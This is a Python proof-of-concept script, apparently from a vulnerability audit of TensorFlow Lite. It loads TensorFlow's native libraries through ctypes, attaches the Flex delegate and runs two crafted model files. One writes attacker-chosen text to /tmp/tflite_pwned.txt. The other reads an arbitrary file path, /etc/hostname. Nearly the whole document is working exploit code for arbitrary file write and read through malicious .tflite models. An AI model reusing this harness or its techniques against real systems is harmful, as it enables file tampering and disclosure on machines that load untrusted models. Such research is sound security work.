| | import os, ctypes, sys |
| |
|
| | tf_dir = "/home/lab/huntr/tflite_audit/venv/lib/python3.12/site-packages/tensorflow" |
| |
|
| | |
| | fw_path = os.path.join(tf_dir, "libtensorflow_framework.so.2") |
| | cc_path = os.path.join(tf_dir, "libtensorflow_cc.so.2") |
| |
|
| | print("Loading TF native libraries...") |
| | ctypes.CDLL(fw_path, mode=ctypes.RTLD_GLOBAL) |
| | cc_lib = ctypes.CDLL(cc_path, mode=ctypes.RTLD_GLOBAL) |
| |
|
| | |
| | acquire = cc_lib._ZN6tflite19AcquireFlexDelegateEv |
| | acquire.restype = ctypes.c_void_p |
| | acquire.argtypes = [] |
| |
|
| | flex_ptr = acquire() |
| | print(f"FlexDelegate ptr: {hex(flex_ptr) if flex_ptr else 'NULL'}") |
| |
|
| | if not flex_ptr: |
| | print("FlexDelegate is NULL - cannot proceed") |
| | sys.exit(1) |
| |
|
| | |
| | print("Importing TensorFlow...") |
| | import tensorflow as tf |
| | from tensorflow.lite.python.interpreter_wrapper import _pywrap_tensorflow_interpreter_wrapper as wrapper |
| |
|
| | |
| | print("\n=== Testing flex_write.tflite ===") |
| | with open("models/flex_write.tflite", "rb") as f: |
| | write_data = f.read() |
| |
|
| | w = wrapper.CreateWrapperFromBuffer(write_data, 1, [], True, True) |
| | print("Created interpreter") |
| |
|
| | result = w.ModifyGraphWithDelegate(flex_ptr) |
| | print(f"ModifyGraphWithDelegate: {result}") |
| |
|
| | try: |
| | w.AllocateTensors() |
| | print("AllocateTensors succeeded!") |
| | |
| | |
| | import numpy as np |
| | input_idx = w.InputIndices() |
| | print(f"Input indices: {input_idx}") |
| | w.SetTensor(input_idx[0], np.array(b"PWNED by TFLite FlexDelegate")) |
| | |
| | w.Invoke() |
| | print("Invoke succeeded!") |
| | |
| | if os.path.exists("/tmp/tflite_pwned.txt"): |
| | with open("/tmp/tflite_pwned.txt") as f: |
| | print(f"*** FILE WRITTEN: {f.read()} ***") |
| | else: |
| | print("File not written") |
| | except Exception as e: |
| | print(f"Error: {type(e).__name__}: {str(e)[:500]}") |
| |
|
| | |
| | print("\n=== Testing flex_read.tflite ===") |
| | with open("models/flex_read.tflite", "rb") as f: |
| | read_data = f.read() |
| |
|
| | w2 = wrapper.CreateWrapperFromBuffer(read_data, 1, [], True, True) |
| | result2 = w2.ModifyGraphWithDelegate(flex_ptr) |
| | print(f"ModifyGraphWithDelegate: {result2}") |
| |
|
| | try: |
| | w2.AllocateTensors() |
| | print("AllocateTensors succeeded!") |
| | import numpy as np |
| | input_idx2 = w2.InputIndices() |
| | w2.SetTensor(input_idx2[0], np.array(b"/etc/hostname")) |
| | w2.Invoke() |
| | print("Invoke succeeded!") |
| | output_idx2 = w2.OutputIndices() |
| | output = w2.GetTensor(output_idx2[0]) |
| | print(f"*** FILE READ: {output} ***") |
| | except Exception as e: |
| | print(f"Error: {type(e).__name__}: {str(e)[:500]}") |
| |
|